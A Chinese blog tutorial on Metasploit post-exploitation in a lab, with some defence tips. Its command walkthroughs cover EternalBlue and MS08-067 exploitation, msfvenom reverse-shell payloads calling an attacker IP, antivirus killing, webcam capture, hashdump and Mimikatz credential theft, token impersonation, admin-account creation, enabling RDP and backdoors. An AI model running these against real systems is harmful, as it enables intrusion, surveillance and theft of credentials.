您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

前文带领大家了解Metasploit技术,它和CS都是APT攻击中常见的方式,并结合作者之前的漏洞利用及WannaCry逆向经验总结。这篇文章继续带领大家深入Metasploit技术,涉及后渗透相关的技术,包括信息收集、权限提权、移植漏洞模块和后门。同时,结合作者之前的漏洞利用及WannaCry逆向经验总结。本文参考徐焱老师的《Web安全攻防渗透测试实战指南》著作,谢公子博客,并结合作者之前的博客和经验进行总结。希望这篇文章对您有所帮助,这些大佬是真的值得我们去学习,献上小弟的膝盖~fighting!

文章目录

  • 一.MSF漏洞利用
  • 二.后渗透攻击之信息收集
    • 1.进程迁移
    • 2.系统命令
    • 3.文件系统命令
  • 三.后渗透攻击之权限提升
    • 1.权限查询
    • 2.利用WMIC实战MS16-032本地溢出漏洞
    • 3.令牌窃取提权
    • 4.Hash攻击提权
  • 四.后渗透攻击之移植自定义漏洞利用模块
    • 1.传统MS08-067漏洞利用
    • 2.移植github的MS17-010漏洞模块
    • 3.深度提权
  • 五.后渗透攻击之后门
    • 1.操作系统Cymothoa后门
    • 2.Web后门
  • 六.总结

希望这些基础原理能更好地帮助大家做好防御和保护,基础性文章,希望对您有所帮助。作者作为网络安全的小白,分享一些自学基础教程给大家,主要是在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔!

作者的github资源:

  • 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
  • 网络安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study

从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!

接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~

  • 推荐前文:网络安全自学篇系列-100篇

前文分析:

  • [系统安全] 一.什么是逆向分析、逆向分析基础及经典扫雷游戏逆向
  • [系统安全] 二.如何学好逆向分析及吕布传游戏逆向案例
  • [系统安全] 三.IDA Pro反汇编工具初识及逆向工程解密实战
  • [系统安全] 四.OllyDbg动态分析工具基础用法及Crakeme逆向
  • [系统安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大战僵尸游戏
  • [系统安全] 六.逆向分析之条件语句和循环语句源码还原及流程控制
  • [系统安全] 七.逆向分析之PE病毒原理、C++实现文件加解密及OllyDbg逆向
  • [系统安全] 八.Windows漏洞利用之CVE-2019-0708复现及蓝屏攻击
  • [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度提权
  • [系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现
  • [系统安全] 十一.那些年的熊猫烧香及PE病毒行为机理分析
  • [系统安全] 十二.熊猫烧香病毒IDA和OD逆向分析(上)病毒初始化
  • [系统安全] 十三.熊猫烧香病毒IDA和OD逆向分析(中)病毒释放机理
  • [系统安全] 十四.熊猫烧香病毒IDA和OD逆向分析–病毒释放过程(下)
  • [系统安全] 十五.Chrome浏览器保留密码功能渗透解析、蓝屏漏洞及某音乐软件漏洞复现
  • [系统安全] 十六.PE文件逆向基础知识(PE解析、PE编辑工具和PE修改)
  • [系统安全] 十七.Windows PE病毒概念、分类及感染方式详解
  • [系统安全] 十八.病毒攻防机理及WinRAR恶意劫持漏洞(脚本病毒、自启动、定时关机、蓝屏攻击)
  • [系统安全] 十九.宏病毒之入门基础、防御措施、自发邮件及APT28宏样本分析
  • [系统安全] 二十.PE数字签名之(上)什么是数字签名及Signtool签名工具详解
  • [系统安全] 二十一.PE数字签名之(中)Signcode、PEView、010Editor、Asn1View工具用法
  • [系统安全] 二十二.PE数字签名之(下)微软证书漏洞CVE-2020-0601复现及Windows验证机制分析
  • [系统安全] 二十三.逆向分析之OllyDbg动态调试复习及TraceMe案例分析
  • [系统安全] 二十四.逆向分析之OllyDbg调试INT3断点、反调试、硬件断点与内存断点
  • [系统安全] 二十五.WannaCry勒索病毒分析 (1)Python复现永恒之蓝漏洞实现勒索加密
  • [系统安全] 二十六.WannaCry勒索病毒分析 (2)MS17-010漏洞利用及病毒解析
  • [系统安全] 二十七.WannaCry勒索病毒分析 (3)蠕虫传播机制解析及IDA和OD逆向
  • [系统安全] 二十八.WannaCry勒索病毒分析 (4)全网"最"详细的蠕虫传播机制解读
  • [系统安全] 二十九.深信服分享之外部威胁防护和勒索病毒对抗
  • [系统安全] 三十.CS逆向分析 (1)你的游戏子弹用完了吗?Cheat Engine工具入门普及
  • [系统安全] 三十一.恶意代码检测(1)恶意代码攻击溯源及恶意样本分析
  • [系统安全] 三十二.恶意代码检测(2)常用技术详解及总结
  • [系统安全] 三十三.恶意代码检测(3)基于机器学习的恶意代码检测技术
  • [系统安全] 三十四.恶意代码检测(4)编写代码自动提取IAT表、字符串及时间戳溯源地区
  • [系统安全] 三十五.Procmon工具基本用法及文件进程、注册表查看
  • [系统安全] 三十六.APT系列(1)APT攻击溯源防御与常见APT组织的攻击案例
  • [系统安全] 三十七.APT系列(2)远控木马详解与防御及APT攻击中的远控
  • [系统安全] 三十八.APT系列(3)恶意代码与APT攻击中的武器(强推Seak老师)
  • [系统安全] 三十九.APT系列(4)APT攻防溯源普及和医疗数据安全防御总结
  • [系统安全] 四十.APT系列(5)APT组织常用WinRAR漏洞复现(CVE-2018-20250)及恶意软件劫持
  • [系统安全] 四十一.APT系列(6)Python解析PE文件并获取时间戳判断来源区域
  • [系统安全] 四十二.APT系列(7)基于溯源图的APT攻击检测安全顶会论文总结
  • [系统安全] 四十三.APT系列(8)Powershell和PowerSploit脚本渗透攻击手段详解
  • [系统安全] 四十四.APT系列(9)Metasploit技术之基础用法万字详解及防御机理
  • [系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集、权限提权和功能模块详解

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。


一.MSF漏洞利用

上一篇文章我们详细介绍了Metasploit的基础用法及漏洞利用过程,这篇文章将介绍后渗透相关的技术,包括信息收集、权限提升、移植漏洞和后门。在介绍这些知识之前,我们先简单回顾下MSF漏洞利用的基本流程。

第一步,扫描靶机Windows XP系统是否开启445端口。

  • nmap -sS 192.168.44.135

收集到目标主机相关信息后,为其选择正确的Exploit和合适的Payload,然后发起攻击。作者这里选择Samba 3.x服务进行漏洞利用。

第二步,打开msfconsole。

  • msfconsole

第三步,查询Samba的漏洞利用模块,并选择合适的漏洞利用模块。

  • search samba

Samba是在Linux和UNIX系统上实现SMB(Server Message Block,信息服务块)协议的一款免费软件。SMB是一种在局域网上共享文件和打印机的通信协议,它在局域网内使用Linux和Windows系统的机器之间提供文件及打印机等资源的共享服务。

第四步,利用漏洞模块。
在Samba服务返回的漏洞利用模块列表中,我们选择“Excellent”最杰出且时间较新的漏洞,从而提高渗透成功率。

  • use exploit/multi/samba/usermap_script

第五步,查看该漏洞利用模块可供选择的攻击载荷模块。
注意,因为目标是Linux机器,一定要选择Linux的攻击载荷。本文主要是回顾MSF漏洞攻击流程,后面会详细介绍真实的漏洞利用案例。

  • set payload cmd/unix/reverse

第六步,设置漏洞利用信息。

  • 受害主机IP:set RHOST 192.168.44.135
  • 攻击主机IP:set LHOST 192.168.44.138
  • 攻击端口:set RPORT 445

第七步,输入攻击命令exploit或run。

MSF发动攻击成功后会获取目标主机Shell,可以看到攻击主机和目标主机之间建立了Shell连接。同时可能会出现错误“Exploit completed, but no session was created”,需要注意目标主机版本信息,选择对应的攻击载荷及漏洞利用模块。建议读者多尝试各种Exploit和Payload的组合。

防御方法:

  • Samba服务漏洞发生在Samba3.0.20-25版本,当使用非默认用户名映射脚本配置时,通过指定一个用户名包含Shell元字符,攻击者可以执行任意命令。建议将其升级到可防御的版本。
  • SMB局域网上共享文件和打印机的通信协议会出现各种漏洞,建议关闭相关的端口及防火墙设置,即使修补最新漏洞。

二.后渗透攻击之信息收集

成功地对目标机器攻击渗透后还可以做什么呢?
Metasploit提供了一个非常强大的后渗透工具—— Meterpreter,该工具具有多重功能,使后续入侵变得更容易,获取目标机的Meterpreter Shell后,就进入了Metasploit最精彩的后渗透利用节点,后期渗透模块有200多个,Meterpreter具有以下优势。

  • 纯内存工作模式,不需要对磁盘进行任何写入操作。
  • 使用加密通信协议,而且可以同时与几个信道通信。
  • 在被攻击进程内工作,不需要创建新的进程。
  • 易于在多进程之间迁移。
  • 平台通用,适用于Windows、Linux、 BSD系统, 并支持Intel x86和Intel x64平台。

这里以上篇文章介绍的MS17-010漏洞为例进行说明。

同时,meterpreter的payload是真强大,它可以实现太多太多的功能了。我们可以在meterpreter下面进行help,查看相关用法。

  • Core Commands

  • File System Commands

  • Networking Commands & System Commands

  • User Interface Commands

  • Webcam Commands & Other Commands


1.进程迁移

在刚获得Meterpreter Shell时,该Shell是极其脆弱和易受攻击的,例如攻击者可以利用浏览器漏洞攻陷目标机器,但攻击渗透后浏览器有可能被用户关闭。所以第一步就是要移动这个Shell,把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作。这样做使得渗透更难被检测到。

(1) 获取目标主机正在运行的进程

  • ps

这些进程与我们的目标主机如XP系统打开时对应的,如下图所示。

(2) 查看Meterpreter Shell的进程号。

  • getpid

发现Meterpreter Shell进程的PID为524,Name为spoolsv.exe。


(3) 输入命令移动进程。
输入migrate命令把Shell移动到PID为1684的Explorer.exe进程里,因为该进程是一个稳定的应用。

  • migrate 1684

migrate也是一个post模块,可以将meterpreter当前的进程移动到其他指定的进程中,这样做的好处是可以给meterpreter一个相对稳定的运行环境,同时可以很好的躲避杀软。

渗透过程中可能会遇到问题,比如“Error: Rex::TimeoutError : Operation timed out. ”,这都需要我们学会独立解决。

完成进程迁移后,再次输入getpid命令查看Meterpreter Shel的进程号,发现PID已经变成了2428,说明已经成功迁移到Explorer.exe进程里,原先PID为1116的进程会自动关闭,如图所示。


(4) 使用自动迁移进程命令,系统会自动寻找合适的进程然后迁移。

  • run post/windows/manage/migrate

如下所示,系统已经把原来PID为3292的进程迁移到6020。

meterpreter > run post/windows/manage/migrate[*] Running module against DX1XMSTMBBJR3FZ
[*] Current server process: notepad.exe (3292)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 6020
[+] Successfully migrated to process 6020

2.系统命令

获得了稳定的进程后,接下来收集系统信息。后续作者想通过Python自己实现这些功能,感觉挺有意思的。

(1) 查看目标主机的系统信息。
通常会先输入sysinfo命令查看目标机的系统信息,例如操作系统和体系结构。

  • sysinfo

(2) 检查目标机是否运行在虚拟机上。

  • run post/windows/gather/checkvm

可以看到当前目标机正运行在一个VMware虚拟机上,接下来我们检查虚拟机最近是否运行。

(3) 查看目标机最近的运行时间。

  • idletime

看到目标机器正在运行且运行了2 mins 49 secs。

(4) 查看目标机完整的网络设置。

  • route

除此之外,可以输入background命令将当前会话放到后台,此命令适合在多个Meterpreter会话的场景下使用。


(5) 查看已经渗透成功的目标主机的用户名。

  • getuid

(6) 关闭目标机操作系统杀毒软件。

  • run post/windows/manage/killav

(7) 启动目标机的远程桌面协议,对应3389端口,后面我们会利用该端口。

  • run post/windows/manage/enable_rdp

(8) 查看目标机的本地子网情况。

  • run post/windows/manage/autoroute


可以通过添加路由借助被攻陷的主机对其他网络的主机发送攻击。同时可以添加路由信息。


(9) 列举当前有多少用户登陆了目标机。

  • run post/windows/gather/enum_logged_on_users

(10) 列举完了用户之后, 继续输入命令列举安装在目标机上的应用程序。

  • run post/windows/gather/enum_applications

(11) 查看自动登陆的用户和密码。

  • run windows/gather/credentials/windows_autologin

可以看到当前没有抓到任何信息。此时就需要用到扩展插件Espia,使用前要先输入load espia命令加载该插件,然后输入screengrab命令就可以抓取此时目标机的屏幕截图。


(12) 加载该插件截屏。

  • load espia
  • screengrab

另一个命令也可以达到同样的截屏效果。抓取成功后就生成了一个jpeg图片,保存在root目录下。

  • screenshot

(13) 查看目标机camera。

  • webcam_list

(14) take photo。

  • webcam_snap

(15) 开启模式。

  • webcam_stream

(16) 进入目标机shell。

  • shell

(17) 停止shell会话并返回meterpreter。

  • exit


3.文件系统命令

Meterpreter也支持各种文件系统命令,用于搜索文件并执行各种任务,例如搜索文件、下载文件及切换目录等,相对来说操作比较简单。常用的文件系统命令及其作用如下所示。

(1) 查看当前处于目标机的目录。

  • pwd或getwd

(2) 查看当前处于本地的哪个目录。

  • getlwd

(3) 列出当前目录中的所有文件。

  • ls

(4) 切换目录。

  • cd

(5) 搜索C盘中所有以".txt" 为扩展名的文件。

  • search -f *.txt -d c:\\

其中-f参数用于指定搜索文件模式,-d参数用于指定在哪个目录下进行搜索,如图所示。

(6) 下载目标机C盘的test.txt文件到攻击机root下。

  • download c:\\test\\test.txt /root

(7) 上传攻击机root目录下的test.txt文件到目标机C盘下。

  • upload /root/test.txt c:\\


三.后渗透攻击之权限提升

1.权限查询

在渗透过程中很有可能只获得了一个系统的Guest或User权限。低的权限级别将使我们受到很多的限制,在实施横向渗透或者提权攻击时将很困难。

在主机上如果没有管理员权限,就无法进行获取Hash、安装软件、修改防火墙规则和修改注册表等各种操作,所以必须将访问权限从Guset提升到User,再到Administrator,最后到System级别。

渗透的最终目的是获取服务器的最高权限,即Windows操作系统中管理员账号的权限,或Linux操作系统中root账户的权限。提升权限的方式分为以下两类。

  • 纵向提权: 低权限角色获得高权限角色的权限。例如,一个WebShell权限通过提权之后拥有了管理员的权限,那么这种提权就是纵向提权,也称作权限升级。
  • 横向提权: 获取同级别角色的权限。例如,通过已经攻破的系统A获取了系统B的权限,那么这种提权就属于横向提权。

所以在成功获取目标机Meterpreter Shell后,我们要知道现在已经拥有了什么权限。

(1) 查看当前权限。
在Meterpreter Shell下输入shell命令进入目标机的CMD命令行,接着输入whoami /groups命令查看我们当前的权限。

  • whoami

注意,如果提示whoami不是内部命令,则需要将whoami.exe复制到System32目录即可。

查看我们当前的权限。

  • whoami /groups

(2) 查看用户已获得的权限。
作者这里使用MS17-010漏洞提权,已经是系统管理员权限了。

  • getuid

通过getsystem命令可以尝试提权。

(3) 查看系统的已打补。
传统的方法是在目标机的CMD命令行下输入systeminfo命令,或者通过查询C:\windows\里留下的补丁号".Iog" 查看目标机大概打了哪些补丁,如图所示。

  • systeminfo

可以看到目标机只安装了3个修补程序。

meterpreter命令如下:

(4) 利用WMIC命令列出已安装的补丁。

  • Wmic qfe get Caption,Description,HotFixID,InstalledOn

注意,作者这里没有显示详细信息,而徐老师他们显示详细信息如下图所示。

可以看到目标机只打了3个补丁,要注意这些输出的结果是不能被直接利用的,使用的方式是去找提权的EXP,然后将系统已经安装的补丁编号与提权的EXP编号进行对比。比如KiTrap0D (KB979682) 、MS11-011 (KB2393802) 、MS11-080(KB2592799),然后使用没有编号的EXP进行提权。

因为虚拟机不怎么打补丁,所以我们可以使用很多EXP来提权,这里就用最新的MS16-032来尝试提权,对应的编号是KB3139914。

WMIC是Windows Management Instrumentation Command-line的简称,它是一款命令行管理工具,提供了从命令行接口到批命令脚本执行系统管理的支持,可以说是Windows平台下最有用的命令行工具。使用WMIC我们不但可以管理本地计算机,还可以管理同一域内的所有远程计算机(需要必要的权限),而被管理的远程计算机不必事先安装WMIC。

需要注意的是,在Windows XP下,低权限用户是不能使用WMIC命令的,但是在Windows 7系统和Windows 8系统下,低权限用户可以使用WMIC且不用更改任何设置。WMIC在信息收集和后渗透测试阶段非常实用,可以调取查看目标机的进程、服务、用户、用户组、网络连接、硬盘信息、网络共享信息、已安装补丁、启动项、已安装的软件、操作系统的相关信息和时区等。


2.利用WMIC实战MS16-032本地溢出漏洞

下面我们就利用本地溢出漏洞来提高权限,也就是说通过运行些现成的、能造成溢出漏洞的Exploit,把用户从User组或其他系统用户组中提升到Administrator组或root。

溢出漏洞就像往杯子里装水,水多了杯子装不进去,里面的水就会溢出来。而计算机有个地方叫缓存区,程序的缓存区长度是事先被设定好的,如果用户输入的数据超过了这个缓存区的长度,那么这个程序就会溢出。

(1) 接下来准备提权,需要先把Meterpreter会话转为后台执行,然后搜索MS16-032,如下图所示。

  • search ms16-032

(2) 指定session完成提权操作。

  • use windows/local/ms16_032_secondary_logon_handle_privesc
  • set session 1

(3) 实现攻击。

  • run

注意,如果搜索不到最新的Exploit,可以输入msfupdate命令进行升级,获取最新的Exploit模块、攻击载荷,或者手动添加相应漏洞EXP 。但是作者的始终没有响应,真实的运行结果是将权限提升为System级别。

防御方式:

  • 该漏洞的安全补丁编号为KB3139914,我们只需要安装此补丁即可。为了方便提权,下面给出部分补丁编号。

微软也会定期给出对应的方法,比如:

  • Microsoft 安全公告 MS08-067 - 严重


3.令牌窃取提权

令牌(Token)是系统的临时密钥,相当于账户名和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。

令牌最大的特点就是随机性、不可预测,一般hk或软件无法猜测出来。令牌有很多种,比如:

  • 访问令牌(Access Token): 表示访问控制操作主题的系统对象;
  • 密保令牌(Security token): 又叫作认证令牌或者硬件令牌,是一种计算机身份校验的物理设备,例如U盾;
  • 会话令牌(Session Token): 是交互会话中唯一的身份标识符。

在假冒令牌攻击中需要使用Kerberost协议。所以在使用假冒令牌前,先来介绍Kerberost协议。Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。Kerberos的工作机制如下图所示。

前面我们通过MS17-010已经实现权限提升,但已经是System级权限。但某些情况下可能是Test权限,需要进一步提升。

(1) 查看已经获得的权限。

  • getuid

(2) 提权。

  • getsystem

发现提权失败了。

(3) 列出可用的token。

  • use incognito
  • list_tokens -u

可以看到有两种类型的令牌:

  • 一种是Delegation Tokens,也就是授权令牌,它支持交互式登录,例如可以通过远程桌面登录访问);
  • 一种是Impersonation Tokens,也就是模拟令牌,它是非交互的会话。令牌的数量其实取决于Meterpreter Shell的访问级别。

由上图可以看到,我们已经获得了一个系统管理员hacker的授权令牌,现在就要假冒这个令牌,成功后即可拥有它的权限。

从输出的信息可以看到分配的有效令牌包含 XI....NQ\hacker,其中XI…NQ是目标机的主机名,hacker表示登录的用户名。接下来在incognito中调用impersonate token命令假冒ge用户进行攻击,具体方法如下图所示。

  • impersonate token XI...NQ\\hacker
  • shell
  • whoami

注意:在输入HOSTNAME\USERNAME时需要两个反斜杠(\\)。运行成功后在Meterpreter Shell下运行shell命令并输入whoami,可以看到现在就是假冒的那个hacker系统管理员了。


4.Hash攻击提权

Hashdump Meterpreter脚本可以从目标机器中提取Hash值,破解Hash值即可获得登录密码。计算机中的每个账号(如果是域服务器,则为域内的每个账号)的用户名和密码都存储在 sam 文件中,当计算机运行时,该文件对所有账号进行锁定,要
想访问就必须有"系统级”账号。所以要使用该命令就必须进行权限的提升。

(1) hashdump抓取密码
在Meterpreter Shell提示符下输入hashdump命令,将导出目标机sam数据库中的Hash。注意,在非system权限下会出现失败,报错 “priv_passwd get_sam_hashes: Operation failed: The parameter is incorrect.”

  • hashdump

注意,在非SYSTEM权限下远行hashdump命令会失败,而且在Windows 7、Windows Server 2008下有时候会出现进程移植不成功等问题。权限不够需要提升为system权限。查看权限可以进入目标机的 cmd 运行 whoami /groups 来查看。

(2) 如果报错,则提权并将进程转移至具有SYSTEM权限的进程。

  • ps
  • getsystem
  • migrate 664

(3) 导出目标机sam数据库中的Hash。

  • hashdump

(4) smart hashdump导出用户的Hash值。
另一个模块smart hashdump的功能更为强大,可以导出域所有用户的Hash,其工作流程如下:

  • 检查Meterpreter会话的权限和目标机操作系统类型。
  • 检查目标机是否为域控制服务器。
  • 首先尝试从注册表中读取Hash,不行的话再尝试注入LSASS进程。

命令为:

  • run windows/gather/smart_hashdump

(5) 通过暴力或者彩虹列表对抓取到的hash进行破解。

  • https://www.cmd5.com/

说明:在SAM文件中保存了两个不同的口令信息,LAN Manager(LM)口令散列算法和更加强大的加密NT版。LM就是NT口令文件的弱点。上图中左边为LM版本口令,右边是NTLM版本,1001代表管理员。


(6) 使用Quarks PwDump抓取密码
PwDump是一款Win32环境下的系统授权信息导出工具,目前没有任何一款工具可以导出如此全面的信息、支持这么多的OS版本,而且相当稳定。它目前可以导出:

  • Local accounts NT/LM hashes + history 本机NT/LM哈希+历史登录记录。
  • Domain accounts NT/LM hashes + history域中的NT/LM哈希+历史登录记录。
  • Cached domain password缓存中的域管理密码。
  • Bitlocker recovery information使用Bitlocker的恢复功能后遗留的信息(恢复密码&关键包)。

运行该程序如上图所示,默认显示帮助信息,其参数含义如下所示。

  • -dhl:导出本地哈希值。
  • -dhdc:导出内存中的域控哈希值。
  • -dhd:导出域控哈希值,必须指定NTDS文件。
  • -db:导出Bitlocker信息, 必须指定NTDS文件。
  • -nt:导出NTDS文件。
  • -hist:导出历史信息,可选项。
  • -t:可选导出类型,默认导出John类型。
  • -o:导出文件到本地。

这里使用该工具抓取本机Hash值并导出,可以输入如下命令导出本地哈希值到当前目录的1.txt。此外,该工具还可以配合Ntdsutil工具导出域控密码。

  • QuarksPwDump.exe -dhl -o 1.txt

(7) 使用WCE抓取密码。
Windows Credentials Editor (WCE)是一款功能强大的Windows平台内网渗透工具,它能列举登录会话,并且可以添加、改变和删除相关凭据,如LM/NTHash。这些功能在内网渗透中能够被利用,例如在Windows平台上执行绕过Hash操作或者从内存中获取NT/LM Hash (也可以从交互式登录、服务、远程桌面连接中获取)以用于进一步的攻击,而且体积也非常小,是内网渗透时的必备工具。不过必须在管理员权限下使用,还要注意杀毒工具的免杀。

首先输入upload命令将wce.exe.上传到目标主机C盘中,然后在目标机Shell下输入wce -w命令,便会成功提取系统明文管理员的密码,如图所示。

另一款工具是Mimikatz,作为一款轻量级后渗透测试工具,它可以帮助安全测试人员轻松抓取系统密码,此外还包括能够通过获取的Kerberos登录凭据,绕过支持RestrictedAdmin模式下Windows 8或Windows Server 2012的远程终端(RDP)等功能。后续实战中我们遇到再详细介绍。

同时,Mimikatz还能在PowerShell中执行,实现偷窃、注入凭证、伪造Kerberos票证创建,以及很多其他的功能。

输入samdump命令查看samdump的可用选项抓取Hash。

  • mimikatz_command -f samdump::hashes


四.后渗透攻击之移植自定义漏洞利用模块

1.传统MS08-067漏洞利用

首先,简单看看传统的漏洞利用方法。由于之前MS17-010漏洞已经复现过,所以这里使用MS08-067来加深读者MSF用法的印象。

第一步,扫描靶机Windows XP系统是否开启445端口。

  • nmap -sS 192.168.44.135

第二步,打开msfconsole。

  • msfconsole

第三步,查询漏洞模块。

  • search ms08-067

第四步,利用漏洞并设置参数。

  • use exploit/windows/smb/ms08_067_netapi
    利用永恒之蓝漏洞
  • set payload windows/shell_reverse_tcp
    设置payload
  • set RHOSTS 192.168.44.135
    设置受害主机IP
  • set LHOST 192.168.44.138
    设置本机IP地址
  • set RPORT 445
    设置端口445

第五步,查看配合参数。

  • show options

注意,默认target是自动的。

第六步,利用漏洞。

  • exploit或run

此时可能会报错“Exploit comleted, but no session was created”。这是需要根据靶机版本选择合适的targets,例如这里是靶机系统为:Windows XP,则只需加一行如下命令:

  • set target 2

最终漏洞利用成功。

输出后渗透相关命令,可以进行剩余操作。


2.移植github的MS17-010漏洞模块

2017年5月12日,WannaCry蠕虫通过永恒之蓝MS17-010漏洞在全球范围大爆发,感染大量的计算机。WannaCry勒索病毒全球大爆发,至少150个国家、30万名用户中招,造成损失达80亿美元,已影响金融、能源、医疗、教育等众多行业,造成严重的危害。

WannaCry是一种“蠕虫式”勒索病毒软件,由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”(永恒之蓝)进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密。

WannaCry利用Windows系统的SMB漏洞获取系统的最高权限,该工具通过恶意代码扫描开放445端口的Windows系统。被扫描到的Windows系统,只要开机上线,不需要用户进行任何操作,即可通过SMB漏洞上传WannaCry勒索病毒等恶意程序。

WannaCry勒索病毒主要行为是传播和勒索。

  • 传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
  • 勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;加密文件;设置桌面背景、窗体信息及付款账号等。

虽然MS17-010漏洞利用模块Metasploit已经集成,但经过测试后被发现不支持某些操作系统,比如Windows 2003,但网上有支持的渗透脚本。并且真实的案例中,尤其是0day漏洞,我们需要自己构建shellcode攻击脚本,所以这里我们讲述一种普适性更强的漏洞利用方法,即移植漏洞模块。

作者之前的文章也自己实现过。

  • Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
  • Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
  • Windows漏洞利用之构建ROP链绕过DEP并获取Shell

(1) 下载漏洞利用模块至本地或自己编写相关Ruby脚本。

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git

运行结果如下图所示:

(2) 将 Eternalblue-Doublepulsar-Metasploit 文件夹下的rb文件复制到指定目录。

  • /usr/share/metasploit-framework/modules/exploits/windows/smb

在Metasploit中,了解漏洞利用代码模块存储的文件夹位置非常重要,不仅有助于寻找不同模块的所在位置,也有助于读者理解Metasploit框架的基本用法。

(3) MSF重新加载全部文件。

  • reload_all

(4) 搜索该脚本文件。

  • search eternalblue_doublepulsar

(5) 使用MSF自带的Msfvenom命令生成DLL。
将MS17-010漏洞利用代码移植到Metasploit框架后,就可以实现渗透操作。但在攻击之前需要先生成一个DLL文件,如果目标主机是32位操作系统则生成32位的DLL,同理生成64位的DLL。这里涉及免杀,也可以使用PowerShell下的Empire生成DLL,后面文章介绍。

64位:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.44.138
lport=4444 -f dll -o ~/eternal11.dll
32位:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.44.138
-f dll -o ~/eternal11.dll

WannaCry和永恒之蓝详细原理,推荐大家阅读我的逆向分析文章。

  • [网络安全自学篇] 七十三.WannaCry勒索病毒复现及分析(四)蠕虫传播机制全网源码详细解读

(6) 使用use命令加载该模块及漏洞配置。

  • use exploit/windows/smb/eternalblue_doublepulsar

(7) 漏洞利用。

  • exploit

至此,我们攻击成功。得到一个Meterpreter会话,如下图所示。

防御建议:

  • 开启系统防火墙
  • 关闭445、139等端口连接
  • 开启系统自动更新,下载并更新补丁,及时修复漏洞
  • 为计算机安全最新补丁,微软已经发布补丁MS17-010修复该漏洞,读者也可以通过第三方工具下载补丁
  • 安装安全软件,开启主动防御进行拦截查杀
  • 如非服务需要,建议把高危漏洞的端口都关闭,比如 135、137、138、139、445、3389 等
  • 开启防火墙,及时备份重要文件


3.深度提权

接着我们需要进一步对目标XP主机进行深度提权。

(1) 增加普通用户并提升至管理员权限。

  • 增加普通用户
    net user hacker 123456 /add
  • 提升管理员权限
    net localgroup administrators hacker /add

Windows DOM用户常用命令如下:

net user abcd 1234 /add
新建一个用户名为abcd,密码为1234的帐户,默认为user组成员
net user abcd /del
将用户名为abcd的用户删除
net user abcd /active:no
将用户名为abcd的用户禁用
net user abcd /active:yes
激活用户名为abcd的用户
net user abcd
查看用户名为abcd的用户的情况
net localgroup administrators abcd /add
将abcd账户给予管理员权限

此时被攻击的主机新增“hacker”管理员如下图所示:

(2) 开启远程连接3389端口并进行远程操作。

# 开启远程连接
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
# 查看网络端口
netstat -an
# 远程连接
rdesktop 192.168.44.135

作者扫描发现3389端口已经开启,也可以直接利用。

(3) 输入命令连接远程IP地址,并输入我们创建好的hacker用户名及密码。

  • rdesktop 192.168.44.135

输入创建的用户名hacker和密码123456回车,弹出提示框点击OK,稍等就会成功登录XP系统。

这是本文的深度提权知识。

(4) 最后,我们还需要将新建的用户名hacker删除。

写到这里,整个实验就讲解完毕。


五.后渗透攻击之后门

在完成提升权限后,我们就应该建立后门(backdoor),以维持对目标主机的控制权。这样,即使我们所利用的漏洞被补丁程序修复,还可以通过后门继续控制目标系统。

简单的说,后门就是一个留在目标主机上的软件,它可以使攻击者随时连接到目标主机。大多数情况下,后门是一个运行在目标主机上的隐藏进程,它运行一个普通的、未经授权的用户控制计算机。

1.操作系统Cymothoa后门

后门泛指绕过目标系统安全控制体系的正规yoghurt认证过程,从而维持我们对目标系统的控制权,以及隐匿控制行为的方法。Meterpreter提供了Persistence等后渗透攻击模块,通过再目标主机上安装自动、永久服务等方式,来长久地控制目标机。这里主要介绍Cymothoa后门,还有Persistence后门,APT样本中也有各种各样的后门。

Cymothoa是一个后门工具,可以将ShellCode注入到现有进程(插进程)。借助这种注入手段,它能够把ShellCode伪装成常规程序。只要进程存在,后门就会有效,所以一般选择一些自其服务的进程来注入,例如web服务mysql、apache 等。其后门所拥有的权限和注入的进程权限是相同的。当拿下目标shell后就可以使用cymothoa添加后门。

